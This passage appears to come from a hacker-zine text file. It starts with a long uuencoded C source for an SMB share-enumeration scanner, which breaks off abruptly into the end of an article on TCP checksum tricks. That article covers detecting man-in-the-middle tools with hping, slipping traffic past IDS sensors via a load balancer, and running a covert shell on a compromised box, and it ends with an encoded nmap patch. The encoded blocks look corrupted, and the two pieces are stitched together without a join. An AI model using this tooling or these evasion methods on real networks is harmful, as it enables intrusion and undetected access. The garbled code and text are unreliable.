M-#PT*(&QI8FYE=%]T("IL.PT*('-T2!T:&4@;F5G<')O="!R97!L>2HO#0H-"G9O:60@3F5G4')O=%)E<&QY M*'5?8VAA7!T:6]N2V5Y+`T*("`@("`@("`@("`@("`@("`@:6YT("I396-U2D-"GL-"B!.8G1397-S:6]N2&1R("I.8G1397-S:6]N.PT*(`T*(%-M8D)A M3L-"@T*+RI&;W(@=&AE(&1O;6%I;B!N86UE*B\-"@T*('5? M8VAA2T^4V5C=7)I='E-;V1E*2`F(#$[#0H-"B!I M9BA396-U2D-"B![#0H@('!R:6YT9B@B7&Y571E M0V]U;G1;,%TM#0H@("`@("`@("`@("`@("`@("`@($5.0U]+15E?3$5.1U1( M.PT*#0H@1&]M86EN3F%M92`]("AU7V-H87(@*BD@#0H@("`@("`@("`@("`@ M("AM86QL;V,H1&]M86EN3F%M94QE;F=T:"`J('-I>F5O9BAU7V-H87(I*2D[ M#0H-"B`O*D-O<'D@=&AE($1O;6%I;B!N86UE(&EN(&$@2A$;VUA:6Y.86UE+`T*("`@("`@("`H=5]C:&%R("HI(`T*("`@ M("`@("`H4&%C:V5T("L-"B`@("`@("`@('-I>F5O9BA.8G1397-S:6]N2&1R M*2`K#0H@("`@("`@("!S:7IE;V8H4VUB0F%S94AD4ADF5O9BA.8G1397-S:6]N2&1R M*2`K#0H@("`@("`@("`@("`@("`@("`@('-I>F5O9BA3;6)"87-E2&1R*2`K M#0H@("`@("`@("`@("`@("`@("`@('-I>F5O9BA3;6).96=0F5O9BA3;6).96=02T^0GET M94-O=6YT6S!=(#T@1&]M86EN3F%M94QE;F=T:#L-"@T*+RI4;R!M;V1I9GD@ M=&AE('-E8W5R:71Y(&UO9&4@8GET92!A;F0@=&AE(&5N8W)Y<'1I;VX@:V5Y M(&QE;F=T:"HO#0H@#0H@4VUB3F5G4')O=%)E<&QY+3Y396-U4UO9&4@ M/2`P>#`Q.PT*(%-M8DYE9U!R;W1297!L>2T^16YC4QE;F=T M:"`](#!X,#`[#0H-"B!.8G1397-S:6]N+3Y,96YG=&@@/2!H=&]NF5O9BA3;6).96=02P-"B`@("`@ M("`@("`@("`@("`@("`@:6YT(%-E8W5R:71Y*0T*>PT*($YB=%-E7!T961087-S=V]R9%M%3D-?4$%34U=/4D1?3$5.1U1(73L- M"B!I;G0@5&5M<%-I>F4[#0H@=5]C:&%R(%!AF5O9BA. M8G1397-S:6]N2&1R*2D[#0H)"0T*(%-M8E-E='5P6%)E<75EF5O9BA3;6)"87-E M2&1R*2D[#0H-"B!M96US970H4&%S2A087-S=V]R9"P-"B`@("`@("`@("AU7V-H87(@*BD@#0H@("`@ M("`@("`H4&%C:V5T("L-"B`@("`@("`@("!S:7IE;V8H3F)T4V5SF5O9BA3;6)"87-E2&1R*2`K(`T*("`@("`@ M("`@('-I>F5O9BA3;6)3971U<%A297%U97-T2&1R*2DL#0H@("`@("`@("`@ M4VUB4V5T=7!84F5Q=65S="T^0V%S94EN2!L979E;"P@=V4@9&]N)W0@<')I;G0@=&AE#0H@("H@=7-EPT*("!P7!T*%!AF4@/2`H4VUB4V5T M=7!84F5Q=65S="T^0GET94-O=6YT6S!=("T-"B`@("`@("`@("`@("!3;6)3 M971U<%A297%U97-T+3Y#87-E26YS96YS:71I=F5087-S=V]R9$QE;F=T:%LP M72D[#0H@("`@("`-"B!496UP(#T@;6%L;&]C*%1E;7!3:7IE*G-I>F5O9BAU M7V-H87(I*3L-"@T*(&UE;6-P>2@H=5]C:&%R("HI*"!496UP*2P@#0H@("`@ M("`@("AU7V-H87(@*BD@#0H@("`@("`@("A086-K970@*R`-"B`@("`@("`@ M('-I>F5O9BA.8G1397-S:6]N2&1R*2`K#0H@("`@("`@("!S:7IE;V8H4VUB M0F%S94ADF5O9BA3;6)3971U<%A297%U97-T M2&1R*2`K#0H@("`@("`@("!3;6)3971U<%A297%U97-T+3Y#87-E26YS96YS M:71I=F5087-S=V]R9$QE;F=T:%LP72DL#0H@("`@("`@("!496UP4VEZ92D[ M#0H-"B!M96UC<'DH*'5?8VAAF5O9BA.8G1397-S:6]N2&1R*2`K#0H@("`@("`@("`@ M("`@("`@("`@('-I>F5O9BA3;6)"87-E2&1R*2`K#0H@("`@("`@("`@("`@ M("`@("`@('-I>F5O9BA3;6)3971U<%A297%U97-T2&1R*2DL#0H@("`@("`@ M("!%;F-R>7!T961087-S=V]R9"P-"B`@("`@("`@($5.0U]005-35T]21%], M14Y'5$@I.PT*#0H@;65M8W!Y*"AU7V-H87(@*BD@*%!A8VME="`K(`T*("`@ M("`@("`@("`@("`@("`@("!S:7IE;V8H3F)T4V5SF4I M.PT*("`@("`@#0H@4VUB4V5T=7!84F5Q=65S="T^0GET94-O=6YT6S!=(#T@ M5&5M<%-I>F4@*R`-"B`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@ M("!%3D-?4$%34U=/4D1?3$5.1U1(.PT*("`@("`@#0H-"B!3;6)3971U<%A2 M97%U97-T+3Y#87-E4V5N#`P M.PT*#0H@4VUB4V5T=7!84F5Q=65S="T^0V%S94EN5M%3D-?2T597TQ%3D=42%T[#0H@#0H@=5]C:&%R M(%!A8VME=%M)4%]-05A?4TE:15T[#0H-"B!.8G1397-S:6]N2&1R($YB=%-E M'DL4&%C:V5T*3L-"B`- M"B\J*BHJ*BHJ*BHJ*DY%1U!23U0@4D5154535"HJ*BHJ*BHJ*BHJ*B\-"@T* M(%)E860H4V]C:U!R;WAY+%!A8VME="D[#0H@(`T*#0H@5W)I=&4H4V]C:U-M M8E-E2@-"B`@("`@("`@("`@("`@4&%C:V5T+`T* M("`@("`@("`@("`@("!%;F-R>7!T:6]N2V5Y+`T*("`@("`@("`@("`@("`F M4V5C=7)I='DI.PT*#0H@5W)I=&4H4V]C:U!R;WAY+%!A8VME="D[#0H-"B\J M*BHJ*BHJ*BHJ*E-%5%506"!215%515-4*BHJ*BHJ*BHJ*BHJ*B\-"B`-"B!2 M96%D*%-O8VM02Q086-K970I.PT*("`-"B!3971U<%A297%U97-T*`T* M("`@("`@("`@("`@("`@4&%C:V5T+`T*("`@("`@("`@("`@("`@16YC2P-"B`@("`@("`@("`@("`@(%-E8W5R:71Y*3L-"B`@#0H@5W)I M=&4H4V]C:U-M8E-EPT*("!PF5O9BA3;6)48V]N6%)E<75E6]U M('=A;G0@=&\@:&%V92!N;VX@8FQO8VMI;F<@'DL1E]3151&3"Q/7TY/3D),3T-+*3L-"B`@9F-N M=&PH4V]C:U-M8E-E'DL)DYB=%-E MPT*("`@('!R:6YT9B@B7&Y397-S:6]N(&9I;FES:&5D("%<;B(I M.PT*("`@(&-L;W-E*%-O8VM02D[#0H@("`@8VQOR`-"B`@("!M96US970H4&%C:V5T+#`L M25!?34%87U-)6D4I.R`-"B`@(`T*("`@(&UE;6-P>2A086-K970L*'5?8VAA MF5O9BA.8G1397-S:6]N2&1R*2D[#0H@ M("`@("`@("`@("`@("`@("`@(`T*("`@(')E860H4V]C:U!R;WAY+`T*("`@ M("`@("`@*'5?8VAA2P-"B`@("`@("`@("`H=5]C:&%R("HI("A0 M86-K970I+`T*("`@("`@("`@(&YT;VAS*$YB=%-EPT*("!P2D[#0H@8VQO'DL(&EN="!3;V-K4VUB4V5R=F5R M*0T*>PT*(&EN="!396-U3TP.PT*#0H@:6YT($-O=6YT.PT*#0H@=5]C M:&%R($5N8W)Y<'1I;VY+97E;14Y#7TM%65],14Y'5$A=.PT*(`T*('5?8VAA M2@-"B`@("`@("`@ M("`@("`@4&%C:V5T+`T*("`@("`@("`@("`@("!%;F-R>7!T:6]N2V5Y+`T* M("`@("`@("`@("`@("`F4V5C=7)I='DI.PT*#0H@5W)I=&4H4V]C:U!R;WAY M+%!A8VME="D[#0H-"B\J*BHJ*BHJ*BHJ*E-%5%506"!215%515-4*BHJ*BHJ M*BHJ*BHJ*B\-"B`-"B!296%D*%-O8VM02Q086-K970I.PT*("`-"B!3 M971U<%A297%U97-T*`T*("`@("`@("`@("`@("`@4&%C:V5T+`T*("`@("`@ M("`@("`@("`@16YC2P-"B`@("`@("`@("`@("`@(%-E8W5R M:71Y*3L-"B`@#0H@5W)I=&4H4V]C:U-M8E-EPT*("!PF5O9BA3;6)48V]N6%)E<75E6]U('=A;G0@=&\@:&%V92!N;VX@8FQO8VMI;F<@'DL1E]3151&3"Q/7TY/ M3D),3T-+*3L-"B`@9F-N=&PH4V]C:U-M8E-E'DL)DYB=%-EPT*("`@('!R:6YT9B@B7&Y397-S M:6]N(&9I;FES:&5D("%<;B(I.PT*("`@(&-L;W-E*%-O8VM02D[#0H@ M("`@8VQOR`-"B`@("!M M96US970H4&%C:V5T+#`L25!?34%87U-)6D4I.R`-"B`@(`T*("`@(&UE;6-P M>2A086-K970L*'5?8VAAF5O9BA.8G13 M97-S:6]N2&1R*2D[#0H@("`@("`@("`@("`@("`@("`@(`T*("`@(')E860H M4V]C:U!R;WAY+`T*("`@("`@("`@*'5?8VAA2P-"B`@("`@ M("`@("`H=5]C:&%R("HI("A086-K970I+`T*("`@("`@("`@(&YT;VAS*$YB M=%-EPT*("!P2D[#0H@(&-L;W-E*%-O8VM3;6)397)V97(I.PT*("`-"B`@2D[#0H@8VQOPT* M("!PF5O9BAC:&%R*2DI.PT*("`@('-T2YS:6Y?861D45N970L#0H@("`@("`@("`@("`@("`@("`@("!296%L16YE=$-L:65N M="P-"B`@("`@("`@("`@("`@("`@("`@($1E=FEC92P-"B`@("`@("`@("`@ M("`@("`@("`@($1E45N970L#0H@("`@("`@("`@("`@(%)E86Q% M;F5T4VUB4V5R=F5R+`T*("`@("`@("`@("`@("!$979I8V4L#0H@("`@("`@ M("`@("`@($1E'DN M'DN45N970L#0H@("`@("`@("`@(%)E86Q%;F5T0VQI96YT+`T*("`@("`@ M("`@("!$979I8V4I.PT*#0HO*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*B\-"@T* M('-W:71C:"A#:&]I8V4I#0H@>PT*("!C87-E("=Y)R`Z#0H@(%-M8E-E2YS:6Y? M9F%M:6QY(#T@049?24Y%5#L-"B!02YS:6Y?<&]R="`](&AT;VYS*$QI M2YS:6Y?861D&EO;BHO#0H@#0H@8FEN9"@-"B`@("`@(%-O8VM02P- M"B`@("`@("AS=')U8W0@2DL#0H@("`@("!S M:7IE;V8H'DL,2D[#0H-"B!#;W5N="`]('-I>F5O9BAS=')U8W0@'DL#0H@("`@("`@("`@("`@("`@("`@("AS M=')U8W0@2DL#0H@("`@("`@("`@("`@("`@ M("`@("AI;G0@*BD@*"9#;W5N="D-"B`@("`@("`@("`@("`@("`@("`I.PT* M#0H@8V]N;F5C="@-"B`@("`@("`@(%-O8VM3;6)397)V97(L#0H@("`@("`@ M("`HF5O9BAS=')U8W0@2PD@#0H@("\J8V]N;F5X:6]N(&]N('!OPT*("`O*DYO'DI.PT* M(`T*(')E='5R;B`P.PT*?2`-"B`@#0H-"@T*#0HO*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ5$A%($5.1"HJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHO("`-"@T*#0H-"B\J*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BI#550@2$5212HJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHO#0H-"BTM6R`@07!P96YD:7@@0B`-"@T*66]U(&AA=F4@:6X@=&AI6]U M('=A;G0@=&\@8V]M<&EL92!I="P@=&AE(&-O;6UA;F0@:7,@(F=C8R!S8V%N M7W-H87)E+F,@+6\@4TU"6]U('=A;G0N("AL97-S('1H86X@,34@8VAA7,O#4P7'@T,UQX,C!<>#1E7`T*7'@T M-5QX-31<>#4W7'@T9EQX-3)<>#1B7'@R,%QX-3!<>#4R7'@T9EQX-#=<>#4R M7'@T,5QX-&1<>#(P7'@S,5P-"EQX,F5<>#,P7'@P,%QX,#)<>#1D7'@T.5QX M-#-<>#4R7'@T9EQX-3-<>#1F7'@T-EQX-31<>#(P7'@T95QX-#5<#0I<>#4T M7'@U-UQX-&9<>#4R7'@T8EQX-3-<>#(P7'@S,5QX,F5<>#,P7'@S,UQX,#!< M>#`R7'@T9%QX-#E<>#0S7`T*7'@U,EQX-&9<>#4S7'@T9EQX-#9<>#4T7'@R M,%QX-&5<>#0U7'@U-%QX-3=<>#1F7'@U,EQX-&)<>#4S7'@R,%P-"EQX,S-< M>#)E7'@S,%QX,#!<>#`R7'@T8UQX-#%<>#1E7'@T9%QX-#%<>#1E7'@S,5QX M,F5<>#,P7'@P,%QX,#)<#0I<>#1C7'@T9%QX,S%<>#)E7'@S,EQX-3A<>#,P M7'@S,%QX,S)<>#`P7'@P,EQX-3-<>#8Q7'@V9%QX-C)<>#8Q7`T*7'@P,%QX M,#)<>#1E7'@U-%QX,C!<>#1C7'@T,5QX-&5<>#1D7'@T,5QX-&5<>#(P7'@S M,5QX,F5<>#,P7'@P,%P-"EQX,#)<>#1E7'@U-%QX,C!<>#1C7'@T9%QX,C!< M>#,P7'@R95QX,S%<>#,R(B`@("`@("`@("`)#0H-"B\J5&AE(&YA=&EV92!O M"Y386UB82HO#0H- M"B-D969I;F4@3D%4259%7T]37TQ!3DU!3@DB7'@U-5QX-F5<>#8Y7'@W.%QX M,#!<>#4S7'@V,5QX-F1<#0I<>#8R7'@V,2(-"@T*+RI4:&4@0V]M;6%N9"!F M;W(@=&-O;G@@#0Y7'@U,%QX-#-<>#(T7'@P,%QX,V9<>#-F7'@S9EQX M,V9<>#-F(B`-"@T*#0HO*E1H92!205`@8V]M;6%N9"!A;F0@=&AE(%Q0:7!E M7&QA;FUA;B!S=')I;F#4P7'@T.5QX-3!<>#0U7'@U8UQX-&-<>#0Q7'@T95P-"EQX-&1< M>#0Q7'@T95QX,#!<>#`P7'@P,%QX-3=<>##8X7'@P,%QX M-#)<>#,Q7'@S,UQX-#)<>#4W7`T*7'@W85QX,#!<>#`Q7'@P,%QX9F9<>&9F M(@T*+RHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*@T*("`@("`@("`@("`@("`@ M("`@("`@("`@("`@("!35%)50U154D53#0HJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHO"0D)("`@("`-"G1Y<&5D968@"!)9"HO#0I](%-M8D)A7!E9&5F('-T M"!O9B!S96QE8W1E9"!D:6%L96-T*B\-"B!U7VEN=#A?="!396-U M4UO9&4["2\J4V5C=7)I='D@36]D92`Z*B\-"@D)"2\J8FET(#`@.B`P M/7-H87)E+"`Q/75S97(J+PT*"0D)+RIB:70@,2`Z(#$]96YC$UP>$-O=6YT6S)=.R\J36%X(%!E;F1I M;F<@;75L=&EP;&5X960@"!60W,@8F5T=V5E96X@8VQI96YT(&%N9"!S97)V97(J M+PT*('5?:6YT.%]T($UA>$)U9F9EF5;-%T[+RI-87@@=')A;G-M:70@ M8G5F9F5R('-I>F4J+PT*('5?:6YT.%]T($UA>%)A=U-I>F5;-%T[+RI-87@@ M4QE;F=T:#LO*DQE;F=T:"!O9B!E;F-R>7!T:6]N($ME>2HO M#0H@=5]I;G0X7W0@0GET94-O=6YT6S)=.PDO*D-O=6YT(&]F(&1A=&$@8GET M97,J+PT*?2!3;6).96=07!E9&5F('-T'0@8V]M;6%N9"!7;W)D8V]U M;G0J+PT*('5?:6YT.%]T($UA>$)U9F9EF5;,ET[+RI#;&EE;G0G&5D('!E;F1I;F<@F5R;RUA9&1I=&EO;F%L(%9#(&YU;6)E5LT73LO*G-E'0@8VUD("HO#0H@=5]I;G0X7W0@1FQA9W-; M,ET[+RI!9&1I=&EO;F%L(&EN9F]R;6%T:6]N(&)I="`P('-E=#UD:7-C;VYN M96-T(%1I9"`J+PT*('5?:6YT.%]T(%!AF5R;RDJ+PT*('5?:6YT.%]T($]P=&EO;F%L4W5P<&]R M=%LR73LO*D]P=&EO;F%L(%-U<'!O71E$1A M=&%#;W5N=%LR73L)+RI-87@@1&%T82!B>71E%-E='5P0V]U;G0["2\J36%X('-E='5P('=O7!E9&5F('-TPT*('5?:6YT.%]T(%=O71E71E71E71E71E4AD7!E*B\)#0H@=5]I;G0X7W0@1FQA9W,[+RIF;&%G M7!E#(P*B\@#0H@#0H@ M3F5T0FEOF4[#0H@#0H@3F)T4V5S71EF5O9BAU7V-H87(I*2D[#0H-"B!R96%D*%-O8VLL4&%C:V5T+%!A8VME M=$QE;F=T:"D[#0H-"B!3;6).96=0F5O9BAU7VEN=#$V7W0I*3L-"@T*("I$;VUA:6Y.86UE3&5N9W1H(#T@("`@ M4VEZ92`M(`T*"0D)4VUB3F5G4')O=%)E<&QY+3Y%;F-R>7!T:6]N2V5Y3&5N M9W1H.PT*#0H@1&]M86EN3F%M92`]("AU7V-H87(@*BD@*&UA;&QO8R@J1&]M M86EN3F%M94QE;F=T:"`J('-I>F5O9BAU7V-H87(I*2D[#0H-"B\J0V]P>2!T M:&4@1&]M86EN(&YA;64@:6X@82!S=')I;FF5O9BA3;6)"87-E2&1R*2`K(`T*("`@("`@("`@("`@("`@("`@("!S M:7IE;V8H4VUB3F5G4')O=%)E<&QY2&1R*0T*("`@("`@("`@("`@("`@("`@ M("`K(%-M8DYE9U!R;W1297!L>2T^16YC4QE;F=T:"DL#0H@ M("`@("`@("`@("`@("`@("`@("I$;VUA:6Y.86UE3&5N9W1H*3L-"B`-"B!R M971U"!297!L>2P@#0H@*B!A;F0@=&\@:&%V92!S;VUE(&EN9F]R;6%T:6]N M#0H@*B!L:6ME('1H92!4:60@9FEE;&0J+PT*#0H-"G9O:60@4F5C96EV951C M;VY84F5P;'DH#0H@("`@("`@("`@("`@("`@("`@("`@("\J3W5R('-O8VME M="HO#0H@("`@("`@("`@("`@("`@("`@("`@(&EN="!3;V-K+`T*("`@("`@ M("`@("`@("`@("`@("`@("`O*E1H92!4240@9FEE;&0J+PT*("`@("`@("`@ M("`@("`@("`@("`@("!U7VEN=#A?="`J5&ED*0T*>PT*#0H@:6YT(%!A8VME M=$QE;F=T:#L-"@T*('5?8VAAF5O9BAU7V-H87(I*2D[#0H- M"B!R96%D*%-O8VLL4&%C:V5T+%!A8VME=$QE;F=T:"D[#0H-"B!3;6)"87-E M(#T@*%-M8D)AF5O9BAU7VEN=#A?="DI.PT*#0H@9G)E92A086-K970I.PT*#0I]#0H-"B\J M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*B\@#0H-"B\J06YA;'ES:7,@;V8@=&AE M('1R86YS86-T:6]N(&%N9"!205`@8V]M;6%N9',@PT*("!U7V-H87(@3F5T3F%M95LQ,UT[#0H@('5?8VAA4AD3L-"@T*('5?:6YT,39?="!$:7-P;&%C M96UE;G0[#0H-"B!3:&%R94EN9F\@*E-H87)E.PT*#0H@4F5P;'E087)A;65T M97)S("I297!L>3L-"@T*(&EN="!I.PT*(`T*+RI4;R!R96-E:79E('1H92!. M971B:6]S(&AE861E2P@86YD('1H M92`-"B`J(%)!4"!C;VUM86YD(')EF5O9BA3;6)"87-E2&1R*2D[#0H@;65M8W!Y*"9$:7-P;&%C96UE;G0L#0H@ M("`@("`@(%-M8E1R86YS4F5P;'DM/E!A2T^16YTF4@82!P;VEN=&5R('1O M('1H92!S979EPT*("!PF5O9BA.0E1#;&EE;G0I*2D[#0H-"B\J5&AE($Y%5$))3U,@ M:&5A9&5R*B\-"B`-"B!.8G1397-S:6]N(#T@*$YB=%-E#@Q(%-E7!E(#T@,'@X,3L-"@T*+RI&;&%G6]U(&UU2!T M:&4@8VQI96YT)W,@3D540DE/4R!E;F-O9&5D(&YA;64L(`T*("H@5&AA="=S M(&%L;"!F;VQKF5O9BA.0E1397)V97(I*3L-"B`-"B`@#0H@;65M8W!Y*`T*("`@("`@("`O M*D%F=&5R('1H92!S97)V97(G71E0V]U M;G1;,%T@/2!S:7IE;V8H4TU"7U!23U1/0T],4RD@*R`Q.PT*#0HO*B@K(#$@ M9F]R('1H92!S:7IE(&]F($)U9F9E2!T:&4@9&EA;&5C="!S M=')I;FF5O M9BA.8G1397-S:6]N2&1R*0T*("`@("`@("`@("`@("`@("`@("`@("`@("`@ M*R!S:7IE;V8H4VUB0F%S94ADF5O9BA3;6).96=0F5O9BA3;6)3971U<%A297%U97-T2&1R*2`K#0H@("`@("`@ M("`@("`@("`@1&]M86EN3F%M94QE;F=T:"`K(#$@*PT*("`@("`@("`@("`@ M("`@71E71E0V]U;G1;,%T@ M/2`@#0H@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@1&]M86EN3F%M M94QE;F=T:"`K(#$@*PT*("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@ M('-I>F5O9BA.051)5D5?3U-?3$%.34%.*3L-"B`-"@T*(&UE;6-P>2@H=5]C M:&%R("H@*2`H4&%C:V5T("L@#0H@("`@("`@("`@("`@("`@("`@("!S:7IE M;V8H3F)T4V5SF5O9BA3;6)"87-E2&1R*2`K(`T*("`@("`@("`@("`@("`@("`@("`@2@H=5]C:&%R("H@*2`H4&%C:V5T("L@#0H@("`@ M("`@("`@("`@("`@("`@("!S:7IE;V8H3F)T4V5SF5O9BA3;6)"87-E2&1R*2`K(`T*("`@ M("`@("`@("`@("`@("`@("`@F5O9BA3;6)3 M971U<%A297%U97-T2&1R*2`K#0H@("`@("`@("`@("`@("`@1&]M86EN3F%M M94QE;F=T:"`K(`T*("`@("`@("`@("`@("`@('-I>F5O9BA.051)5D5?3U-? M3$%.34%.*2`K#0H@("`@("`@("`@("`@("`@PT*(&EN="!086-K971,96YG=&@[#0H@=5]C M:&%R("I086-K970[#0H@=5]C:&%R("I0871H.PT*#0H@4VUB0F%S94ADF5O9BA3;6)48V]N6%)E<75E MF5O9BA.8G1397-S:6]N2&1R*2D[#0H-"B!3;6)"87-E M+3Y5:61;,%T],'@V-#L-"B`-"B\J0G5I;&0@=&AE(%1C;VY8(')E<75E2@H M=5]C:&%R("H@*2`H4&%C:V5T("L@#0H@("`@("`@("`@("`@("`@("`@("!S M:7IE;V8H3F)T4V5SF5O9BA3;6)"87-E2&1R*2`K(`T*("`@("`@("`@("`@("`@("`@("`@ MF5O M9BA40T].6%]#3TU-04Y$*2D[#0H-"B\J4V5N9"!T:&4@4&%C:V5T*B\-"@T* M(%!A8VME=$QE;F=T:"`]"7-I>F5O9BA3;6)"87-E2&1R*2`K#0H@("`@("`@ M("`@("`@("`@F5O M9BA40T].6%]#3TU-04Y$*2`K#0H@("`@("`@("`@("`@("`@,2`K('-I>F5O M9BA.8G1397-S:6]N2&1R*3L-"@T*('=R:71E*%-O8VLL4&%C:V5T+%!A8VME M=$QE;F=T:"D[#0H-"B!FF5O9BA.8G1397-S:6]N2&1R*2D- M"B`@("`@("`@("`@("`@("`@("`@("`@("`@("`@*B!S:7IE;V8H=5]C:&%R M*2DI.PT*#0H-"B\J($)U:6QD('1H92!.971B:6]S($AE861EF5O9BAU M7VEN=#A?="DI.PT*#0HO*D)U:6QD(%1H92!3;6(@5')A;G-A8W1I;VX@4F5Q M=65S="!(96%D97(J+PT*#0I4F5O9BA.8G1397-S:6]N2&1R*2`-"B`@("`@("`@ M("`@("`@("`@*R!S:7IE;V8H4VUB0F%S94AD%!A$1A=&%#;W5N=%LP73TP>$9&.PT* M#0HO*DYO($1A=&$L('-O(%1O=&%L1&%T84-O=6YT(&%N9"!$871A0V]U;G0@ M87)E(&5Q=6%L('1O('IE71E71E0V]U;G1;,%T],S([#0H- M"B\J0V]P>2!T:&4@;F%M92!S=')I;F<@9F]R($YE='-H87)E16YU;2!F=6YC M=&EO;BHO#0H-"B!M96UC<'DH*'5?8VAAF5O9BA3;6)4F5O9BA.04U%7U)!4%]#3TU-04Y$*2TQ*3L-"@T*(%!A8VME M=$QE;F=T:"`]"7-I>F5O9BA3;6)"87-E2&1R*2`K#0H@("`@("`@("`@("`@ M("`@F5O9BA.04U%7U)!4%]#3TU-04Y$*2`M,2`K(`T*("`@("`@("`@ M("`@("`@('-I>F5O9BA.8G1397-S:6]N2&1R*3L-"B`-"B!W'1EPT*('-T871I8R!C:&%R(&]P='-TPT* M("!PPT*("`@8V%S92`G8R#(P(')E<')E2A3;V-K+"`F1&]M86EN3F%M94QE;F=T:"D[#0H- M"B\J(%1H:7,@9G5N8W1I;VX@ /tmp/banner # hping -S -c 1 -p 22 -E /tmp/banner -d 9 -b mybox If you receive a SYN+ACK you can start swearing... Note that depends on how the MiM attack is developed. For example DSniff check TCP checksum because it works in proxed mode, while ettercap, that uses a non-proxed method, doesn't. Generally if you don't add such a sanity check in your tool you could be discovered. Is this check always needed? No, it's needed if you want to alter a packet or you want to reply to a received packet. So if your tool simply sniff packets without sending/modifying them you're safe. Ok, but if I want to safely reply-to/modify packets what is the solution? You have 2 solutions: 1) check the checksum for every packet and work only if correct without dropping it in any case; modify/reply-to using a valid checksum. 2) using Incremental Updating of the Internet Checksum [RFC1141] for packets that needs to be modified; checking the checksum for packets you want to reply Note that incremental updating will keep a checksum broken if it was broken and correct if it was correct and it's really faster than calculating it from scratch. Curiosity: TCP checksum of a source route packets is invalid while it's in flight, because it is based on the final destination IP address, which is altered as the source route is followed (at the destination, it will be correct). Most default IDS configurations will alert about bad checksumming traffic but never log those packets, so the admin couldn't check the data part and what was going on. Generally it's possible to create a covert shell with a bad cksum tunnel on a r00t compromised box and connect to it without being detected. Another type of problem could born if the code of a NAT-box/load balancer calculate che checksum from scratch. In this case we could bypass an IDS if it's placed between our box and this dumb device. Check this interesting example: www.oracle.com:80 Evil --[badSYN]--> Router --[badSYN]--> Load_Balancer --[SYN]--> WebServer | | NIDS1 NIDS2 NIDS1 will see a TCP SYN with invalid checksum while NIDS2, if deployed, will see a valid and modifyed SYN. So the webserver will reply to us with a SYN+ACK, letting us talk with it while causing a lot of doubts to NIDS1. What would you think if you were the security manager and you'll find such different results on NIDS1 and NIDS2 ? The solution is always Incremental Updating [RFC1141]. --[ 3 - You Know You're Right awgn (31337 H4X0R) raptor & nobody (LSD project) batmaNAGA & ALORobin (ettercap authors) JWK (OpenBSD addicted) Daniel Hartmeier (Mr.Infinite Patience; OpenBSD PF main coder) antirez (Hping author) Fyodor (Nmap author) Ed3f (15b27bed5e11fc0550d7923176dbaf81) --[ 4 - Drain You [1] Hping ---> http://www.hping.org [2] Nmap ---> http://www.insecure.org/nmap [3] Scanlogd ---> http://www.openwall.com/scanlogd [4] OpenBSD ---> http://www.openbsd.org [5] OpenBSD PF ---> http://www.benzedrine.cx/pf.html [6] Ettercap ---> http://ettercap.sourceforge.net [7] DSniff ---> http://monkey.org/~dugsong/dsniff [8] RFC1141 ---> http://www.ietf.org/rfc/rfc1141.txt --[ 5 - Big Long Now begin 600 nmap-fw-detection-patch.diff M9&EF9B`M=7).8B!N;6%P+3,N,3!!3%!(030O3FUA<$]PF5O9BA&24Q%("HI("H@3$]'7U19 M4$53*3L*("`@;FUA<%]S=&1O=70@/2!S=&1O=70["D!`("TQ-38L,3$@*S$U M-RPQ,2!`0`H@?0H@"B!B;V]L($YM87!/<',Z.E1#4%-C86XH*2!["BT@(')E M='5R;B!A8VMS8V%N?&)O=6YC97-C86Y\8V]N;F5C='-C86Y\9FEN&UA7!E('=H:6-H(')E<75I6YS8V%N*W=I;F1O M=W-C86XK>&UA2!O;F4@;V8@+7-!+"`M8BP@+7-4+"`M7,@/B`P("8F M("AB;W5N8V5S8V%N('Q\(&-O;FYE8W1S8V%N*2D@>PH@("`@(&5R7,@87)E(&ER2!W;W)KPHK M("`@(&9A=&%L*")&&UA6YS8V%N?'5D<'-C86Y\8F%D=61P2!A M=F%I;&%B;&4@9F]R(&-O;FYE8W0H*2!S8V%N("@M6]D;W)` M:6YS96-U&UA7!E9&5F(&5N=6T@>R!!0TM?4T-!3BP@4UE.7U-#04XL($9)3E]30T%. M+"!834%37U-#04XL(%5$4%]30T%.+"!#3TY.14-47U-#04XL($Y53$Q?4T-! M3BP@5TE.1$]77U-#04XL(%)00U]30T%.+"!-04E-3TY?4T-!3BP@25!04D]4 M7U-#04XL($)!1%1#4%]30T%.+"!"04151%!?4T-!3B!]('-T>7!E.PH@"B`C M96YD:68@+RI'3$]"04Q?4U1254-455)%4U](("HO"F1I9F8@+75R3F(@;FUA M<"TS+C$P04Q02$$T+VYM87`N8V,@;FUA<"TS+C$P04Q02$$T+6)A9"]N;6%P M+F-C"BTM+2!N;6%P+3,N,3!!3%!(030O;FUA<"YC8PE-;VX@3F]V(#$Q(#$X M.C`S.C4V(#(P,#(**RLK(&YM87`M,RXQ,$%,4$A!-"UB860O;FUA<"YC8PE4 M:'4@1&5C(#$R(#`Y.C`T.C0Y(#(P,#(*0$`@+34Q,RPW("LU,3,L-R!`0`H@ M("`@("`@8G)E86L["B`@("`@8V%S92`G7!E(#T@4$E.1U194$5?3D].13L@8G)E M86L[(`H@"6-A7!E("5C(&YO="!S=7!P;W)T961<;B(L*G`I.R!PPI`0"`M.#$U M+#<@*S@Q-RPW($!`"B`@("`@("!I9B`H8W5R6YS8V%N('Q\(&\N:61L97-C 